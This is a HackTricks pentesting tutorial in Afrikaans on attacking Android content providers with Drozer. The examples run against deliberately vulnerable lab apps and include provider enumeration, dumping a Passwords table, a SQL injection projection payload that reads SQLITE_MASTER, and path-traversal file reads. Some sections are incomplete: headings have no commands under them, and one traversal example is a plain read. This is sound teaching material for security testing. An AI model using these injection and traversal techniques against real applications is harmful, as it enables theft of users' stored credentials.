13 KiB
Uitbuiting van Inhoudsverskaffers
Uitbuiting van Inhoudsverskaffers
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hack-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslagplekke.
Inleiding
Data word verskaf van die een toepassing na die ander op versoek deur 'n komponent wat bekend staan as 'n inhoudsverskaffer. Hierdie versoek word hanteer deur die metodes van die ContentResolver-klas. Inhoudsverskaffers kan hul data in verskillende plekke stoor, soos 'n databasis, lêers, of oor 'n netwerk.
In die Manifest.xml lêer is die verklaring van die inhoudsverskaffer vereis. Byvoorbeeld:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
Om toegang te verkry tot content://com.mwr.example.sieve.DBContentProvider/Keys
, is die READ_KEYS
toestemming nodig. Dit is interessant om op te merk dat die pad /Keys/
toeganklik is in die volgende afdeling, wat nie beskerm is as gevolg van 'n fout deur die ontwikkelaar nie, wat /Keys
beveilig het, maar /Keys/
verklaar het.
Miskien kan jy privaat data verkry of 'n kwesbaarheid uitbuit (SQL-injeksie of padtraversal).
Kry inligting van blootgestelde inhoudverskaffers
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Dit is moontlik om te bepaal hoe om die DBContentProvider te bereik deur URIs te begin met "content://". Hierdie benadering is gebaseer op insigte wat verkry is deur Drozer te gebruik, waar sleutelinligting in die /Keys gids gevind is.
Drozer kan veral URIs raai en probeer:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Jy moet ook die ContentProvider-kode nagaan om na navrae te soek:
As jy nie volledige navrae kan vind nie, kan jy nagaan watter name deur die ContentProvider verklaar word in die onCreate
-metode:
Die navraag sal wees: content://name.of.package.class/declared_name
Databasis-ondersteunde Content Providers
Waarskynlik word die meeste Content Providers gebruik as koppelvlak vir 'n databasis. Daarom, as jy toegang daartoe kan verkry, kan jy inligting onttrek, opdateer, invoeg en verwyder.
Kyk of jy gevoelige inligting kan ontsluit of probeer dit verander om outoriseringsmeganismes te omseil.
Wanneer jy die kode van die Content Provider nagaan, soek ook na funksies met name soos: query, insert, update en delete:
Omdat jy hulle kan aanroep
Navraaginhoud
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
Voeg inhoud in
Deur die databasis te ondervra, sal jy die naam van die kolomme leer, dan sal jy in staat wees om data in die DB in te voeg:
Merk op dat jy in die invoeging en opdatering --string kan gebruik om 'n string aan te dui, --double om 'n dubbel te dui, --float, --integer, --long, --short, --boolean
Werk inhoud by
Deur die naam van die kolomme te ken, kan jy ook die inskrywings verander:
Verwyder inhoud
SQL-injectie
Dit is maklik om vir SQL-injectie te toets (SQLite) deur die projeksie en seleksieveld wat aan die inhoudverskaffer oorgedra word, te manipuleer.
Wanneer jy die Inhoudverskaffer ondervra, is daar 2 interessante argumente om na inligting te soek: --selection en --projection:
Jy kan probeer om hierdie parameters te misbruik om vir SQL-injecties te toets:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Outomatiese SQLInjection-ontdekking deur Drozer
Drozer is 'n kragtige hulpmiddel wat gebruik kan word vir die outomatiese ontdekking van SQLInjection-foute in Android-toepassings. Hierdie tegniek maak gebruik van die ingeboude funksionaliteit van Drozer om die inhoudverskaffers van 'n toepassing te ondersoek en potensiële SQLInjection-punte te identifiseer.
Om hierdie tegniek te gebruik, moet jy Drozer op jou toestel installeer en die toepassing wat jy wil ondersoek, geïnstalleer hê. Volg dan hierdie stappe:
-
Begin deur Drozer op jou toestel te begin deur die volgende opdrag in die opdragreël in te voer:
drozer console connect
-
Nadat jy suksesvol met die Drozer-konsole verbind het, kan jy die volgende opdrag gebruik om die inhoudverskaffers van die toepassing te lys:
run app.provider.find
-
Kyk na die lys van inhoudverskaffers wat deur Drozer verskaf word en identifiseer die toepassing wat jy wil ondersoek.
-
Gebruik die volgende opdrag om die inhoudverskaffer te ondersoek en potensiële SQLInjection-punte te identifiseer:
run app.provider.query content://<provider_uri> --projection <column_name> --selection <selection> --selectionArgs <selection_args>
Vervang
<provider_uri>
met die URI van die inhoudverskaffer wat jy wil ondersoek. Vervang<column_name>
met die kolomnaam wat jy wil ondersoek. Vervang<selection>
met die seleksievoorwaarde en<selection_args>
met die seleksie-argumente wat jy wil gebruik. -
Drozer sal die resultate van die navraag vertoon en enige potensiële SQLInjection-punte aandui.
Deur hierdie stappe te volg, kan jy Drozer gebruik om outomaties SQLInjection-foute in Android-toepassings te ontdek en te identifiseer. Dit is 'n kragtige tegniek wat jou kan help om die veiligheid van 'n toepassing te beoordeel en potensiële kwesbaarhede te identifiseer.
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
Lêerstelsel-gebaseerde Inhoudsverskaffers
Inhoudsverskaffers kan ook gebruik word om toegang tot lêers te verkry:
Lees lêer
Jy kan lêers van die Inhoudsverskaffer lees.
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Pad Traversal
As jy toegang tot lêers het, kan jy probeer om 'n Pad Traversal te misbruik (in hierdie geval is dit nie nodig nie, maar jy kan probeer om "../" en soortgelyke truuks te gebruik).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Outomatiese Ontdekking van Paddeurdringendheid deur Drozer
Drozer is 'n kragtige hulpmiddel wat gebruik kan word vir die outomatiese ontdekking van paddeurdringendheid in Android-toepassings. Dit kan gebruik word om kwesbaarhede in inhoudsverskaffers te identifiseer en uit te buit. Hier is 'n stap-vir-stap handleiding oor hoe om Drozer te gebruik vir die outomatiese ontdekking van paddeurdringendheid:
- Installeer Drozer op jou toestel of virtuele masjien.
- Begin Drozer en maak 'n verbinding met die teiken-toepassing.
- Gebruik die
run app.provider.find
bevel om alle inhoudsverskaffers in die teiken-toepassing te vind. - Analiseer die resultate en soek na enige kwesbaarhede of potensiële paddeurdringendheid.
- As 'n kwesbaarheid gevind word, kan jy die
run app.provider.query
bevel gebruik om data uit die inhoudsverskaffer te onttrek. - Analiseer die onttrekte data en identifiseer enige sensitiewe inligting wat moontlik gelekte kan word.
- Gebruik die gevonde kwesbaarhede om toegang tot beperkte data of funksies in die teiken-toepassing te verkry.
Drozer is 'n kragtige hulpmiddel wat jou kan help om paddeurdringendheid in Android-toepassings te ontdek en uit te buit. Dit is belangrik om hierdie tegnieke verantwoordelik en wettig te gebruik, en slegs op toepassings waarvoor jy toestemming het om te toets.
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
Verwysings
- https://www.tutorialspoint.com/android/android_content_providers.htm
- https://manifestsecurity.com/android-application-security-part-15/
- https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.